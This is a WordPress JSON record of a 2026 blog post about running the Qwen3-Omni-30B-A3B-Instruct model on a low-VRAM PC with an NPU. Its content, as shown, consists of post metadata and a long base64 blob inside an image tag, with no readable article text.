{"id":24999,"date":"2026-07-23T15:53:38","date_gmt":"2026-07-23T13:53:38","guid":{"rendered":"https:\/\/embryotools.com\/?p=24999"},"modified":"2026-07-23T15:53:38","modified_gmt":"2026-07-23T13:53:38","slug":"quick-run-qwen3-omni-30b-a3b-instruct-pc-with-npu-for-low-vram-6gb-8gb-step-by-step","status":"publish","type":"post","link":"https:\/\/embryotools.com\/zh\/quick-run-qwen3-omni-30b-a3b-instruct-pc-with-npu-for-low-vram-6gb-8gb-step-by-step\/","title":{"rendered":"Quick Run Qwen3-Omni-30B-A3B-Instruct PC with NPU For Low VRAM (6GB\/8GB) Step-by-Step"},"content":{"rendered":"<p><img decoding=\"async\" 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hwstP7uIgxcM\/KKQICb5VADcWjbrn3yc\/AUEwkjWerYas0fRm5Um7YoekIQ8lHTwD3JVwwEG8Ow4mG0C+TWBrZmAaAh2RNq3jUncWbOOkI+4U1du6hhh9JFD2oGiUXrHGtFXoDIwpoDdsZ1sXtOxSvk0DGAYh8EhQcqp2WXqPOnYptWKEs14DBmW4qCngix1lsRihrEsOamdxS\/oVtFNNHyxquwmCNzFQO225xskuLSxKZNjLYctWwfD\/DtyQvr93+T2Nyf\/JQQwCub2iLY5wmtsnj4JaFC7ercSlrK0GzMsuRpKiUiTRSpPrCGxvW5c\/Fj5Etiz0LFFRJqChhLMU5CD6XO+S\/WovreaxR\/IYMUF5m3dVftMPnMsc6jQDydbn\/Q\/SHp8br8243gYVuX6E4CRsiNkYcVmDO1KZKtkQVVdYqOgrVWhcwgZuYCQL\/Lhi7xdyG3AhGH44C9P\/XxdZLZlZSAPBvwJR+PDMPi0RgMWrPWOyfTl4hrIUkMf7SqOOT44Hn1hBj5WqHFj7nHmPhpX10KI0XywFtDMo\/mwOWJD2oNLgGA8N9c2Y5OqRkAg\/mVYiHtIXnkzIuMHuZakPmTWPlleFNW7\/\/HRNEMZ0RRwvAI7pHI4tSyjpTItwL9WtpPFwribj+dEEc3a0\/c0f7E2ZGcUm5blm2uYM2HjYN+1FIf9lx+fmwuKEv53\/WzUhn0cKGwGSNYcHsf11jIuczcA2ux82if7jXlEjuv2P+ray+PhhNEMu\/ZDeQdOXGB89JtV0qGrpSTApy9fAjgUIonuZS5yOIjFwVsebtVyrkCPlhES3QTDqxFMaTvMCb7qHLLWDldbLaUF\/FLI75hBcUpEP0RAgWxTj4Aj16OXZb9kXLZG95VGa0MVHSbZ8bHvFoHA7IOoWJEPY8arI\/R0wUJgLJF1YcEs9sekU2wlKGPeNSvPFBmbmc8GyMcXTICCZrD04mCwclOQQd57drid6KM7YxDKAkX3t+t6QhD47b0YhMNOBqQ1xPpEmNRr2T6f8kuqZKyTgQnW8JNTSQh77ENnymOqLOEDunvyS6BdHX6Gatum5GOCiRG5NX5cUaFyDM5kUK7TyVqGGiQ32RSxlPuErYZeVDNtktPxzY38Dj5Fno9uFJ5q\/xoaJmDt9BTgnwG9IOQEUYpGkfklm2G4RH2v29afXgUMN+NjKQFxv81XZzMpzNy1TxgM+Da48tai8xMLpMHChwsUDMOhk+suJx3olXZvI2QjBVJAVsV\/m8er+9Z1QdCNyyOkSsXcqYITSoBWel21uLeSxxuRHQPVXVA2ScDAc5D21cIIklayRrORF49ry\/h9E+bcpOqch0eh\/+l1GpqoPewq476TwoltV\/cH0UnSLinMvb7xaTnmugF1MDk62pq3SEjmL7H8Rlydl5MjPxdL2qFKv7RwsANBS2xqVOMP8qfnMOuYV0TMoMyEM30uQ9segjLC2Dyr2OF85yxR4fBE7CLpUVcs68k1lpRjYSs4FI30I9pAKwnJs9EvU0yfyKokPQb10XS193v5MDh\/p5cXLjSfVnuyRfLdSKC7UjeF5SqpV4WF1HeNriqniSR+c39ebDuuniABcasWl10VhdwG+d3z8DxUMWc2cXgnkyD7CU7O6TJaA46KI\/169wKg0awII0nhm70qBA9e41EfjTlmYiwMyFlNKa6etg8E9ay25brQQyAmiXgAV\/TXCIdSuEj+zv\/7rR1WGW4HRJe71szpEE5iXZLC1+dJLMYYCS\/SHTYi9CZ2lpLpwz2Bg2dHNLPPhLzjjaBwm9VOQ+To5+Q8WW8ZzarE5zy8QB0STLwoBJlf0SSp4zYseltzUAhEyMumwGktmo\/YNMJBVC2nVqZR9TvEDG7Jm2Mn8RY2bP1wfM7uPApCAv0Y32T4QPzmwKhATO4JsOBDMSEhk1CucL1lbIUVk3TfbjchiOZbBpFrAVXRHjA\/YrecHEKId1oaiW4MOYwITVFPhD+1Mj1wZXVxCNUUogOAcu\/BrIdC+ope0E3yeCmeK44oCuamJ0uytgI2qWp67l6MY\/58HhaQr2TNCr1AiXt4HpI0+QR7D9aeqLxbx9nwFT4ybCQJ4IiHN7fyFt6ToTb2sCsq4mr0eRJrdCmCelmX56UDFGabnwhYyndTa49Wmth8VCEi0eWjcy2jE68T+AONVGxUBj5ApH3c0hbQV66\/ic7BlwVaKkqenaKNmBkXPZLAseankoU+WdB0mITUgaRPNzcXOEwUGHE7uXQpH2xMNNZVbcroL9jZ8suL1Hm0Q3T8SXQ1cwXJGjtgrK9Qelxk6dFmcdaJCC323iJfylQiESKUEaG8Uqr0un09MwemA5JWMk8nMl3SQ6ypDaeeF+NMvlXVYvOx9QELJBsx1OXGUXKHYZMoqDXl3KA+Ae+GwrP88j4GPW3Z20sH3KZgRR1RXKc\/NPzoRnXNgPnn0ZE26jS2uTUzbx4B5ehk4axcG99cR3ydrPjDVqBa5KvAPKDJloHNYrn5+JYwcVKJKVTxWHQ2nwOc0kUhdMWzarjaNI\/T9unv5HNUzR9LOpwtCjyJIjARZ2rxgErJe\/o1IBisF+hhNNkcJYG31j61EE7OaWiP4t4znBN7ZYmUVruULDheSkzhPHQ4ECVwXc8SdjJ6b2aqdkHrukb7uErPyo9SICx4N7vy0oUSQyVlbRcQ2T2brY8RCzKChPAjQ1j+tQAhE5W2OdXHrXVesoNsnHNMkbIBaSCFFpcNs1iFOIqqKyHPShSiqJwxajJl731+JQzvutJTSBBwuFqyWpn1+UJRoHf6yab1WDYbgHk0x58XbAcTUNMO1EiZ4hTiOHWgIajczkJcmbVI5BDWwczrvBeOg57eojdpoof\/Gkxe\/mPVxXFFOEjh7YFOq+lP0gqyldNjTsHOGUtF77HE+QJHuNAi7eafNDszsqolsHdW3Bx5juG5AxS\/qA10T5oFI4I\/oxj046mJUNKNMA0nQpNkHak6hukK5CKbQ3Dqpcu1hceLNs8OExSlbSNpMkQ1gGxuw3rXILrJTd2Z8KO3T4cdYblXcW7GqrKP\/N5p63foKrKhhXG3fds1BhT2BagpD2Z5QcpGU9TSN2tO6zrGGGx3VtrNmVGt1GWU7kA3Ce31TqycHOJK+kw4dFjP9RyDge4Z1+Q3RX9LCLoN3q9HNj9AcQA9KWN65MDNa7\/SUc5Oiy7ZHdlqsxQR2gR9+NB7Has0kqaz1\/Cdxon+320egL6UZotWNoKGQR0nEXSvibapjnS6QJl6VWcXw3docpmJSh3dNi2hXEEM5GqHQS4cHQm3CrBTZvSSd1xFlaoKQzBJaGfx+wqcp5gXcwqwhwk0BSRS9DgnIbfCeahpCj\/JDEft3PyPpUJ+gR11i4D2n4l33sBkkUwpUe\/9wja9gLttbsYEQjBdoQi3JBQtX0F5gdF1sOm9cMLH52t2yzKbPCtvZCJzX4d3KJX4mjSBItkNKcI7GYnV9xKtkMkB4gTFWdAiaT3uhR0yrmX3DbBV5Jt5IuDOqMcJIKLhlLae\/vazJ63\/JsnOfH5x\/vzdy7m95+Icrz+LrK2D63qDdh7kWuyQd95On\/zzSLa4AogJkP2tOXGz+do+jUZgXZRqFl3oriNjtlRLM7Fm3IpF1n8vHkS6mHHl1jjDGnYGJwEARLJ2xcCMFi3CuANvflOQPLTTEUJ2S7\/TS8pfE76pIQLU26XJXSW5yDBBdlfd8EWdxBmYn72E7jm\/B6zrajdvg5lZNnU2eVpRekhF5rMPbHvzKJEJzEdobCXBJ8vqC57GFCKgesnP51+jEP5sxvEKqFJB1IltAx1gl8Pp2z8bugUm+PnZgl\/fZbBqiUbxrK77cuefsHg4JYthD7vESzRNHqvecfrv37Oh9OkIuYwuZAVulmwHa6VP9Xr0anCgyDsxnfkwDzoQ\/2qCK5Q3No+W5220CahzuZH+Mt3MIM0xY7CKZXYO9lfE3kb058zCmez8aW0x7J4eeV7LYjCeqYGR3pE9yeDF9TljhEZrAbcEECi722JbXti7BXk+sLkL2TMhQmq9brQTGtsii0M\/AlvOU5XRgGphI90oC8Cg9jTnlV1GyBnAVn4TKYlQ9PUYjuGarJTFfggAcT1IaAqdc70AQzxOiq9Ja1K8+OCRjXaENVdCnVCmB++zEgALxerBq8QhE4r4T3NZU7kLWHFk1\/zrA7cG0hR9bkV9Nprg3i8Jo6TsIkdSS0xBjlLOUNBkKuZ6nyDyjWmvP8HFv2xS4A+\/LWdgzS6hQD0Kg+LJA4sRAUX81C+Za4nlh72m7rDQkWD+yhO6b417BUr2iTll18iQIZeQ9qw+lOBWuy9qaXSapY4Jrp84\/Di6niTmDDkB9+iB1Rk58q7XpLVKDzhqxzIrpNs+A8ls11lkoamFVs8zZ3l1HQsZYjZggu0gdVWEXDReNJTmrGChw\/g18x80ZeOUd0\/igNXgadFhJLaUduvxrdVvtJnwV4FJkXMjZmBi5xwVoBMREoOqYcPjzHF7VU2BoiNh+7Bz3xlIsRE47AjBUYu5KLFq7Fs5myaWWb4NX+opE4LKflz3t6pBm1Xxkrm8wLy5KBQZeFUPvLA+K2Qq0QLl9RRhZOQurfFMlkwF4jV+9Nlay3tQVKBtekcpqZyARpwENPWiMGFhCdWIUDavBJCZyFLCOa7SlmuPEI8R8ykSBxX\/4c4irxjsywLiYn5s6TiRehoQs6qmT4hyTzKRg774\/ZBd5mtNXe7nU8JfRg+avuGjA+LdTmog8LY4A7QfW4z5i8wsBU7F0bnTp0qNxXQJ8lycWOUetHUyU5mT+ky0iP0Pniit6WQcBMubgINuquomEOgQ18Gh9jW08HSrcqWdpqH4SOSN+Dr0T4IdkZkWVJ+8q34uUH1fX9gBDAGqb53yQOxqGhlK0QHH\/fWfmSA0NPEAVCw2C8Wohu7lb\/9sJC6YoIFnwHWmjQVoWRjtvEZuBh0R6uhKTn6VG21OvI\/7h7MpKPlPHr\/ox\/oxuXgkmLKYKC1pz+WOMHg1L+s7WskzEjaV55XXI8xHtOTnE+Fx7UWsO5\/mzhHtqExSj5hm7fvSgsR12DC3Y\/Gr+zL+WrZP9DqRDihFeDp\/6KlhWmQl9op9rydLzIoEguCswsWO1vwKLsz0IkhC+jht5aCgOvXOc\/bhtUv51IkG9iHPKS\/PftylyIJG+G51MImDHwyks0dZUXrnLm+wfBbt\/tblZ1hBB8skzm35frvDMDhy0rAOoCdF3WOKMImL0qaeLZJs1x7cA9BvhTZHhK4BL\/Enoi97nW5fjfN7dlK\/Glr2ytD\/\/3ETOh\/j36tkxrOOjARUF9RUxYfow+G3Nukf\/+UA18uqf+PWfi2PHOzGDBZZGkGsU6yIAQfL0X5nVN4efVVDvywm5GdVWhhJgwqI25u7cL8cwtqJ2hF7m9I2jubERCK0g3cd4sHATUE6mPTnnWNrKi61mb89Ua7bdmcfeqhyPfRmrdUgC+0C8KTVD8bzjmNMqWKRirXWvFl2LSReBAA9FCbcSNCKT8109LTsdHWKAi5bX5tls8CoeluztL9uV5IBF0BqI2hwELiQ+S2vi9aGAClvRD\/o\/kibRXgDuraH88ESqdZkqQToXiyFni3jNdDDFriNDygJ+8IOlfahM8dXno5Er3lqcLXEKbsAnJ0fpfpM8U7D9JSIeRx5qcnDx0JuFy4TqIok+WcJozc13Mdik69N4LkGXIovwrlIUBBrGXyuNvSPhhPeAKb84MwyO+3RZrV34ipEKpJ0i1AOTImcdayjtIuxJMdQIHivrLIlxjJZoFezbMmu4JBbhlINJYyiZz9+0uSOqfi7aAVkkqddURa7L7dRdNEjirVz53TuX+UppIEIEyVaJdYRbJX4gvSygro7AKgu+HWM\/kgOrgQ23YkP1gl0hJ7evSRtl7KaayfYcpWrHtBk4RTRUXJN6So+DBj\/HcQpPNvcfpLizvTF\/PnJYNMVw8ItXD+JsPVC8idAjIcK9RHA6NMnbKbga0PWBXA2EmriWSaMhxlEkCFZY6RqbLOVVgaNYV5L8dlTungWLKDfkiThn0CeeqUFunAe7rBuXL3RRTtIpVFyQ4XJN21HdRIk6Ud55l2cAEB4FXA66Qy\/lsLZ4xvrN2JJua2BSo\/BHLdL4HQl3CXfonf13ticTB7CNkwBRf\/4utHAuVxueEXxR1eO5iaMTdsInQzLPh9VNGLPGYDEp9x8YaVYDQhPAtfNV9APA9cx6obuHPzAhbyNMQ2ZVQ9ixsFQwUim4d1EMLb75L+RkHF+sFIF4sLsRg1SNQanehqEIdItATbf9jZ4CsAAWFQte9MGj4p7SCz5QdQsVaw7LPG9xZPLa1w1nfQJX6Sc7IjVSY5Mzm+JZ1vzz5TF44P4psMaUFPXkFSsSkx0WarTAdVYu+BTjE0Q+4ndeUo+sGnGE8+Qa3ATBXgVsD+XdLvjucodQ25nNOcKU+N4AY2QocmOhFNhd1l0jEx++p\/OTQnzHLfZrM7RVk7ST8AXOEB\/GuUQxKPbgFI69EfOH99WVjTX0WYO6RhZGSrz0MOW24JjsBDYtzKgFfEGrkHUdbKQxo8YLxfD9j34Ms53moH\/9dj7Dk+aeu2AIay+\/Y7+58++KJux0z+izbXR3FmFvXpX406R2AX7G\/7CYDojBV+UAlFftr1mIxds\/JWb8INScwuW3vJAnCPP+jq+e+d8fUo1gDoVW5vthTtUsjmBCj00mgW3CiWV\/5RPu8tjtqxX0R+bqPiec5JeaF05SZavF9c\/dl8ea0zyzYCGPWY\/ujZUYgAzfnMKR3OdbgUx1HeorcnNztoyjIw0dEdvEStflJC8dvDg9Y00rFAQYTpYaHEak7\/SnFQCJbV1LxyFP\/RG9H5fTulr\/Gcdcpxmli0FHHf6qVBxAZVBhNHd0UB1Hd9RW+c+SOKfntF4Vz\/2VbC0bq1Ac0j3xI1PUo9MjgCtNhOzJQGNx3fPRBFgb1dYP6HqnUasE3chAQDFoukSZkVRSkBs\/\/4utHAufaKHTZiouthfjP39m+Hl7a0Z6+yU7VVYkUWbjUzTzOH\/zrA6dDhgPCCmbua7OwJtL84Svzj9eAmHB0G9fkcPrss02nFbJilLM1TRoLcVqxMhSkGdZEO6KeKTAbryb27Lx2K5CBFzs0nG4v\/jlOIhr1fsFq6JOmnNkxDgwz5pAtyhWpyCJ6iJkAwqllDMrNkfD8xS3eMbwPHrU6EBXv8anreYmxhonSaHfQ8HI01JlLscrSVTZA3kcB3P+UwKO4sU06+2FwgABJmYfliJdOsugP+BRc2QVu0btvMMf7I4nYgM7GTp2doWsmksjRZMG9ISXBVvUNZWIWSVFUo+ZB80M8v4x32Av2hPU3nM7s6tj+diYvVs3Py2L1KThOeKTVmS1a7o7Kj5wLNVT1bT2UXFrin7pVDinMzk6oGud+ws0kpsq48HErb6jQDncrl1A3YlgBLIAwULGffSPfPddfXFdmgMzZ+BH2B7xvwWJz1dHd97m\/5yxVoyFuKmSNlL7pKNCNfne2xY6fEP+rzQp4zCyxczHT6rLPd699+5FZtUutLfow1P+awe7pE7DNUQWILLU9VjuMThnbWXylbyL+PTF38uqC1+2u6w\/HEKDLc8qJs80XsR7yeLQ06gcIpIJ98wzW8cQMJHtv\/DM2NiwB1qavc66c+I5So7o4UjeVpvuWWab2vIoT6lBDKiSHw14CH4kNU7vwnUi4\/N2TZza7Uo7xSuEmcVYvfrwaPQZGvbCSmdpeVjK7wQIBWAAXyb29UMuEU8SKfqKRKDciutoQzmkdyI76y3TYbKOTauAYiOe8QLPODDtHwNuKEYrk7U63wLKHLcDlDG3WZ6d2ANvomFhCzqdvShOrPWPMkUCX1QM5Hwih9+LHvu+mhwMsDN5XPOQHte8kP4tYNcZY\/XZlJlv6\/7VfHkPyEfD0sTwSsHcQ+MpSANDUciwJkj679nxQn2wXXHSWDLWR9joRTIGdubg4PAfKDXfG6ZGCfuRTnTLDXie59Nq22GFTxDiczRVqAEmHaKzZPZzIh4vs6hLwr2P\/2loMx1Zis\/76Mah4ANKn\/Lg0ADWBlX7x2dJnIOszIaf7PlJAFtfd6bvWGD3eTxH\/fv00gYd9P7\/iXwob2gQEEKixX+W++oz56wab0I4MkL3KISG\/\/fMzXBb2fv5cV3UJzEPbbF2vf7bhvXoE2JrBjyufhZPC8zSZIB1YCjB0mwQtC2QOJlD3t9dv9pWCWfSNxA4F2xHHft0YliTttkxfcOFC\/mBf203O0CjVI+QqjS\/mRNMnmuA3QD6rzJFWeMM86VciQHgjiuEVUdGdk0wi6w\/aBseHYmJAW9x\/LW\/DThy8IFNCVdffGo4bJGFJZTwRjurwpaP93bU97bOZCV0dLaxUiSS0m9i2oClVAU3iOzq1B3qDwQeTSBDV6ZIHPEf4EF2OLINS2bBieikmvqp20SZKKjnU4hBHHoIRgk0xpahJosK1ibccsKpfzSTi47XbK\/E5V8mZ4An0TuE9c18WTDt8n2hQMWuoAcFoSXCCx7\/QBwBxsfgaeDM7zkpT9OLL19clY6D1PXPdb0lwc8CuFZcZvRYdMuTrpx+uLUB8bJA3dYeROk2J6rJCKGeMs420cRfuk+V1T1OEN+LaWrogGwJZoFz5Lk0joQ7cAlyIwrmDE0cnUu6f1WedKteFiFhQIinUpPpl0Kfb9oqtCnyECzqkm0OzhHVPYt2FaFRJ2oap5pLgcEVxC044sn9MNPaWyVeUogLWUjvqEzVF8K4oVFLC3z86quBq9qZI+x+bPxQ3ylsw\/Nf1TUIXLT6SvrP2OHluWN6\/KMevUv+ORwZtWiX3EX\/zT8TFvy1wgS2H60h50197MWRyn9\/2kAg\/Di2\/ZkVyiKsN+lw3MO3lB20I9UHDXH3oSpo09M4aYBjE5dz5+2klEdvyU5V\/XBjb11p2ydI6\/tqi1ZRxncohqn7fLB0rONLX3PNZ\/8QC45NfQTYqqrOu06U7nEucsN4HoOig4Lf9rqAihTUqeFwNIVLCUcxlntlXhmQz6vpW7VveI9on23ces5pGiBpV2hbdPawZe07aNHRrhL9zbdeMGiZtUIWxy7Ji+BcnoNqVo02JU+OPRfcXNrZLZPYjVRF5vCeS3bMm1iv\/g5l8IuhygHPAuDAR8leYZL2AUwOlEjAMVct8UrNUVrBPqm6xS4\/NuROo4vyzml8jA6PiPjxztsa5wt38DwcUvgL2B5fh+58vOeGe+AZxtp+eMInXomcoEiMdpvwJB88PXasnebB2ZjirEiADeTWm906e2Kp6ZM\/oz0rkhuRwOEj6fy8\/RiPeIvDTtRso+Pw5pL1OXqULNu2OxdvynHhfzvQsJmm6F2GAEIreV6PnnSHbvuxVfwcM0XsGO4XGePhHYZyl+dqRXLTeODtenuqW6vXd0rDTD0nPZxTLr+uJVIKdzc0U56Y5\/7g5B9MRIFbo1lXg9SdmysxCO4bnCJelei8YeIgsOf24+FvkEqeenRt46629m5QIZRZTO+\/+8rix9YIGHJvGAbCyjQRNPLvniQnmoPoQIzDjUkk4NUCgPldQpSCSlDS\/hAGSkkRwOx2EavjmqtgzqI0Mzq6xUsq\/LM1U4teH3sDT08cmPn761CQtEPsKRQzuT6wU\/0eeXPkIH0KqS8P0XUgeToZxOszfrScHoEYA6Gufw2zs9Dnd5y9DM+Qz3pUqZMFqVrSveyvS+0FdP4eA4ZOw6\/zxchUs8TUqG4k0ZmyzoGKkw9QlLO0TS+TTluHKBlMknKnfC4Xelx19+khW4vbD\/gvjRhu\/WtVjGAyeBdNz3aTPlxbLSSNq+KKrKherj3N5LEJ4dJQc9a+g4U7uIjRR7G646U4cXrfihfQ4vFQ1s8hvq155H5pMqb+sCNkYSsDrofYLu7aW6bstwSZ1j6ZZ3Gmz3mqkl\/JXGZUX8HYkbLNZsiO\/DcxMp7h7\/aKGWRBhn9xD\/3uydVdQm6tYD1z4dxboOYF8uwb8QefAfAqG7hFCh69P9m6otDjx0rXsD9C25g2auFNIDSd4PQkjrHlQQ6V+YI\/LCjscZUiMs\/zF\/FHgP+uNytTrgHxrIAJz\/SLbckhrLYn4OC9vWKtkjlV9SWhwBpZCnPqlgPehwnFlLVc+NA3CWxCPIwEyE0mcariLWjaEWLm2uChi7EwiL89Hcn7amNcuqqUcdCb6iYPJEJ2MV8x0VPJKq4oAbgRAlcu5qMZvg45061J6aew8LbXBI8f3iuVuxAisdoB4pYU5ehrZ\/iPgykAASHc\/\/seu\/5Z1rvP5cnAV2xbLFUJJ6XEcq9gXamJU+BUs\/uovU7uKX1r3g0vN3yfpLNSCN1v9GffQvI+MqOqsHj+96sbUPIXm6Sky18JAHIpO5kQ+mQIQJEwyGPp6j7C6y0UDP5ykIkSyz+PiH8z\/z23mTSc5KVNUSmwbdaz+dB8pUcEsN5\/sVWbJYlolOPwE+w9fH86rG6WzGFLUTCLeZrMynis\/YM2qWv4f42SMWItc0uBQfVHr02MBezjLup1\/UlaYV8vGbBy7v\/35ZVyJfSK+3tcN8LdxuRGtkdj16tS5Bjya\/3X7SDVXAcXD7vtCIah9xRiBqE55aVkxKp5VmwG3r7ZRYasxSx5GLOed3f\/faDDzLnM1AVk6dhGurAQGhlrklgsoYrAAKdmfoiVjuFHFItc9WSWdYznhi9YRWr\/uBf35b3RMZQjHXuP9yRa8dCIPMsLe6YdM4iFp9zi1uao3vKCzNm8xGBE81aQC5V3aSfl+588eci7Jh5LAPY2e55WxBh7dFitnlGk1yUkkbGIzrXLQs\/UzunLKx\/IlPU7xy4P4RL59VFYVfVV+oAWDcUGzJAtjZHLrKdVPqiAYtEd0Jzpj7xYPmIVy5rDiq3E8IcHRz8\/kpzsLeVOuR2DGcduRMs1Tgo7YEluDIyFdW+em8kKXTztCEP\/P5DhJURvssBMwfmg7s065UF6MjwbnD8D0HfpM6tajhpPB1edIx6tyY\/3OdYJvOKpI21D4Rk3oQ1Xiui2wXhC8918YRDwRLpTbN\/xgAaG6pI1LNkycNV\/YWABARoQkjvFs7\/CYZWdMpJjhtg24QxAg+Ma8WLunhz65zMX3XdDr07Lk2cD6BYwSW3BsdyM5lj6LwVORZeu9sWhqBEntMdOv5212d2mk4owqbNe926oXFwMZuRxuDwsq67SXRLq+dZwl00x6chAdgBN2FZttZRC\/5vN\/BMZWUs9b7QxpSUMDZyXjbTEjUJPE9xf1CKIjT\/opIsqa4pgbq2Hpy7RXeameBccgNh6eKLvdZWPi1KXnOfSsyGiMOVNDfaEEREu0OwtHZfGbXqExOCvofWunvLjxky2LE1uLharSWbIUhHgDIA0FL2e8aYLdlrpIjqFSsAY8bkfR4imBUa5sBTVhPPCrGmTo2KLmrDvWhtWpqN\/n\/6N6YEygq2BxpAjbMl8vkY97zwbet+crX7ermfXj2kJAgNTeOOtbqX5dLvbu3KbowiGN\/vu6KoOmhsXxYJJ4G+AyoNH8fFppmrBFIk8sf4e3mwHMZt0bsC1xEgckOhiLE8b5CynQwTvrla0zNfjy\/uMDD4hqwNbYM9nPobU9ttn17WyBQijZK49LoLMx0GO2qCMWOKsIGwC3lAOGjEpDgTtbPZ+abH7+d0RuqXKHW5iwp3l2NU6VbLpSla+Nn0bK1ToLflT\/cf9h4RMym+pRijajCC12qTcqDV0dPWn7H4KPoPOGiQ3xZJ8b4Z8mt7TJbxrhKV50i+hbfSUNMvw8zAR+erpGyULZiIyz+\/KBeuz0oSl3uAq1Mgtk3noXCSKSfliR0y4sciSKh+mNw5fOB8EgpzwLVN99bPObfRP4nNYGMiYlAbPvV6cMy7LJICGuuVH3IhtqLg93OMDICNBvhGVEQgEsEl+py0XUObCSvpnDDsIxBmToTUoawm+bD4xqaGlaqWr8+4oBd5q\/xX7Y2ueg\/1QVl\/NI+8r2pPsE2HHdAouw8h4g6abmJRm+5Kx3FPOiKXurWbzAiX690Fdb6+qBWyLYTNutxJoJVchXfw2CF4d\/l+5FSXbf5rZ8\/bMCxZH5T82GTOlBe\/EOjyIMdXeNI6+\/d4LZ8dUDlhjE1V20FJPjt+jGRhccqCbxG9f6KHljrFZv1URnUEKD5e27dEdAuh23KAlHpJPnrC0GvuUJgY3KkIuQMPwIEW+C95KVKauLdD7d6P\/8HuHmtr9BW9gho41z5fPSlapYu5\/uMvHtdojD6XKvDj9HVnJat1+SHww2LztqpbLbX0GnH78Xb5gI84MV4PD5LNQ9oXQ+G+TQ\/66TZ953kn5qteo2u2MQdM8Vge3NEgHL+AKYcpV\/MOBgCToVjWduxTGNRPJhBDtE0o8IpiAQTih5MjeLXq2+ibolvOVdZ3MDQ1kK63ZWUb7r8MdIv+DYwK\/TGaZTv30981xomGbUWWrM\/V8tLRrgvBeO8hs2akuZTsQBGwPt+899HnGl3EpU6CRwtcd6OIdXbdpfayN0c5tdfiXGRHFk9wmNC7oUGVGVNVIwPAO6btZT29ERq+vZO+WHx\/Uqa5ZyQKvxuZamwNb27TrrHrfIbnI\/7oRyjy1FNTSjtSnqTKw0V6YT6VdTYaTYIN6H89fLBTrS5ggAipjJJMrYwfl7anpgPrA6Icd8Z8eB+ybFV3tAYFS8ET6M8zw+nDe7YzoIvNosPrAFOSTWHOwu0LB7u8h1dxdLhY8Xj+z0R1jXxl1xZKsfYs6J39Llg+zMqy\/edOWsk6nIvPPD9Gs+V1VZpBCPH\/DC0jC4lcILWF+SaNmEaj7BUzJBcWFFFu2AGzPUyI8mTMsgZ7nKGiR4I7OOpcNPvMZZm+Wwm4xm7fdR8nMbqmrcjxoZNMnDn74kjL6fqORSJ0vm9Xugnv\/dmlDl4yhVhvySDbiAHy6gGeilqEuqtODO1fi3EyRHj7KC2ilxw\/vbv6CWGAk4N\/GuT1MOsmHAf9WVnaPcSKHuyzIVlDMBdvWO5dqxLwC4UXOSI1gSS43d\/uUzoUrFYlkTsNGsbtz+3q9UESVv\/LSsi1eYvsbE1KUitI71xuWde+4cOyGtrOKNZYCe5T5LT9WVHDHT8XBWSkPL8ZbSgssRsaS+aVDyFv9kdiBikiBnEGmZiQhVSkxOO7sNXubnq\/gx2hvq22EXxeX5eDqcFzae4SgOtnSWGeWcubvA3BVtDAvGtR00HvqqYoT3wEH38OdexBWS6QuX+mZr5AsvHP5NB01zppHJ7aAF18QzioqynvaFmDRYXYRQrE4IqbZVe8k+lWPobPUVCBpKO6Mib\/d\/Y\/Lo319hS5AcfaFz4siNK0GKbvYkEH3dtPWy6ZmmrfR0s\/UK9\/UECZbcUoYKY03C6Gx8CPCMs1Ob0uEjZWWhnhstaTm3FD4SecDp+WFXOFZR2tA2hnjZmbi9IAP+\/MEshqv\/kzJZhboBKQQ8c9Y+l2vh1RSsFwXVblhyanHgdZUI5WZphxNzqcbbOBtLjbaGiHY98d6XGs5wqhiAqBDKVf4lZ3nN\/\/GoY8zKueCwAjnbx4y3sd14rg\/sruhTDgxYCipqS7x0wHh94WrO4EpD50AEZcy4sjb8wiGkIniv6pPPWjAqiWLnRVDngiHJi7aqUIgaeZUazlNX70aH\/MCPhtn1kexdxiXCPq+IjVCtR20plCfL3lQAEToAuD8hLkwp1qeWztk00+JKiqvZ\/W0uXePcdAaQ+ToaY5z+BoWRLFaGhPUiAUhD0ohy2hyhcGtxgi\/\/nYv8at7ZMpI5t6Lg7bL6L8YIHUSMjrcssmOl8S8ARgEQaGsk3B7+MV6yNVmZKcNNpfafNSmv5+QEXZMIKCZDT7NPVtq8WdAU4hfrqz0e41\/v1ZksWjQGbDCdAG1x1btIrmJJcrs0bNBqmeqMFcFrQ8fK7gf55xWJyDK000xG\/4jTQNCjAe2uDdBQ+4YMWpf\/fQQ6LZH7wyi04NFt1y50uLLm6Ep83i4aJYFMNZlWPhwkybLiCeNrHzT8XC5zVGI7Ff\/qk\/gEoThhaQWLUQegTXU+dHuQDEunmSD95m8mYHLkkxs38mQGAoLYeefG1PdMXgZHESPO36\/z\/0RPNDj5Qn1ZqGn4tcZZBb64j5hF6pDEkUV1RfKpo63VdoSoQIBJ3E3EkjJ7fimS\/woN+FkmJKkePWziSsZG0XWySZOnNo7rKhOQrcPu9b5Ic02JWH2dMOD0a\/ThTythfGHczUUvEnPqFdwAAAXyKzNsobilOm5f6nw66xYAGoigAdkZZ1k+OAW1kw9pg5G04gLHbdmNxi0X8hydr5txzi7UJ7zOfTGiJq5OGmvj5+uCZCaYzD5m9rIDPQ7CJ+DpUJP7MwKPlX99X0jOh\/Ov3kAkZ2uvwke9t34rMIEW\/u59HcVwdkOA7Qjujp1KuF4sVLjjUIIF5\/aIzR8LJjK2ohpKlswxu8AilQ8a2Tphp3BcXJGDFN72wGV7zpb1cOWtPT1pZ7zM8bL38IgiXOX9x\/UdBWp94r+UOWdZakxVs3cX2PoU1KQiEtz0jrTskvFcwGJj\/xE9RmVjoCzGRNK6YttyH9IWJJNh4AyLqIgw04DWyWVr3k2E2kAg4vDlU5YOEWXOdQ+QjK35Mg3v8WaLwtKKvvfngWpY1\/1F5jXMTfoB9fpTsKdbh0MNfZG2RFk1Gzo7g9ocavm+gHrpvLrdF5IAGDP1hUQFs+y9LVfvjHgtfBBp5DaqAUoUSA3BRxoH3abXSYFjBpoeODSSnks+YxbaJm2XNxLKtE1ar+EcueRpEjRNKKMv\/XFXID7Yzy6VMhdBYl59OOE2GaCeO86Mbl3zlw43XdN5x+jYams4G8Yfz8iVB5uSvh9Q1uWjePQDQJNZAe4+58XFXspuG7J8jSiZeeRfFl5LWXaa9QgFHpIn8MVxTfQHXmD0aYyB32CPQKMh6tw5x8fYF0lSazCqvDZ+Gy1B9r58\/IpAtTgVtbNQyXBkPPf27oTQO8lIMT\/+QZ7YLs8qNl69lc2ubrQxSxvf6bZKDNF3\/lZvQdnTTvFcOzqWLOnnee1BO3eE8pBUou6sSO\/Ce0K+O0fezeM+F0WkonEYYeyzimr8VMOSmkR5f+VmBWtv9JdxN5Z1mHAZU9DZtVjbEgAAAAAKY6hakURkE6LdHsQSjCjWRjZ3auCoj6nd0xY2CXxUgMDP5k